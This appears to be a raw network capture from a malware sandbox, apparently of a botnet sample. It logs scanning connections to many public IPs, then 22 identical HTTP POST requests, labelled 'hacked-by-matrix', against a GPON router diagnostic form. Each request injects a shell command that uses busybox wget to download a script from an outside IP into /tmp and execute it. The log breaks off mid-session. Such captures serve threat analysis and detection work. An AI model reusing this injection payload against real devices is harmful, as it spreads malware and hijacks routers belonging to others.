Mar 21, 2024 05:16:56.506021023 CET	41298	8080	192.168.2.13	87.122.184.16
Mar 21, 2024 05:16:56.506036043 CET	41298	8080	192.168.2.13	31.57.89.217
Mar 21, 2024 05:16:56.506036043 CET	41298	8080	192.168.2.13	197.14.206.186
Mar 21, 2024 05:16:56.506052971 CET	41298	8080	192.168.2.13	105.72.132.171
Mar 21, 2024 05:16:56.506052971 CET	41298	8080	192.168.2.13	138.241.73.73
Mar 21, 2024 05:16:56.506053925 CET	41298	8080	192.168.2.13	46.56.92.42
Mar 21, 2024 05:16:56.506053925 CET	41298	8080	192.168.2.13	14.197.148.249
Mar 21, 2024 05:16:56.506053925 CET	41298	8080	192.168.2.13	108.185.96.201
Mar 21, 2024 05:16:56.506053925 CET	41298	8080	192.168.2.13	163.197.232.66
Mar 21, 2024 05:16:56.506053925 CET	41298	8080	192.168.2.13	201.239.239.252
Mar 21, 2024 05:16:56.506053925 CET	41298	8080	192.168.2.13	156.141.6.113
Mar 21, 2024 05:16:56.506069899 CET	41298	8080	192.168.2.13	148.44.238.240
Mar 21, 2024 05:16:56.506073952 CET	41298	8080	192.168.2.13	201.93.80.238
Mar 21, 2024 05:16:56.506073952 CET	41298	8080	192.168.2.13	150.117.235.129
Mar 21, 2024 05:16:56.506078005 CET	41298	8080	192.168.2.13	139.6.220.99
Mar 21, 2024 05:16:56.506078005 CET	41298	8080	192.168.2.13	46.1.31.234
Mar 21, 2024 05:16:56.506078005 CET	42578	1723	192.168.2.13	213.78.191.242
Mar 21, 2024 05:16:56.506078005 CET	41298	8080	192.168.2.13	116.210.71.148
Mar 21, 2024 05:16:56.506093979 CET	42578	1723	192.168.2.13	213.139.156.143
Mar 21, 2024 05:16:56.506093979 CET	41298	8080	192.168.2.13	89.191.230.2
Mar 21, 2024 05:16:56.506093979 CET	42578	1723	192.168.2.13	213.224.142.77
Mar 21, 2024 05:16:56.506093979 CET	41298	8080	192.168.2.13	63.4.133.1
Mar 21, 2024 05:16:56.506093979 CET	41298	8080	192.168.2.13	80.192.222.37
Mar 21, 2024 05:16:56.506108046 CET	41298	8080	192.168.2.13	27.146.231.185
Mar 21, 2024 05:16:56.506113052 CET	41298	8080	192.168.2.13	159.161.197.119
Mar 21, 2024 05:16:56.506113052 CET	41298	8080	192.168.2.13	118.102.238.13
Mar 21, 2024 05:16:56.506119967 CET	42578	1723	192.168.2.13	213.56.200.206
Mar 21, 2024 05:16:56.506119967 CET	41298	8080	192.168.2.13	206.218.99.121
Mar 21, 2024 05:16:56.506119967 CET	42578	1723	192.168.2.13	213.170.187.228

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	33532	178.35.31.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.529892921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	56408	79.125.167.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.529963970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	40882	109.51.193.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.529999018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	54786	212.46.243.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530014992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	34258	178.102.42.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530055046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	50694	42.168.122.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530102968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	50248	5.224.148.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530102968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	47030	2.234.236.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530141115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	35504	94.145.231.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530177116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	47458	118.1.44.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530194998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	58146	212.188.190.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530244112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	32840	94.227.25.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530272007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	41362	5.105.68.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530304909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	40876	210.191.165.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530325890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	59034	178.159.80.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530352116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	45592	118.213.31.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530392885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	36678	79.145.35.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530436039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	32884	37.87.150.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530437946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	55512	109.58.147.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530467033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	38528	42.133.64.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530508041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	50174	2.1.255.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530540943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	32778	79.77.16.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.530544043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	40080	42.118.69.95	443

Timestamp	Bytes transferred	Direction	Data
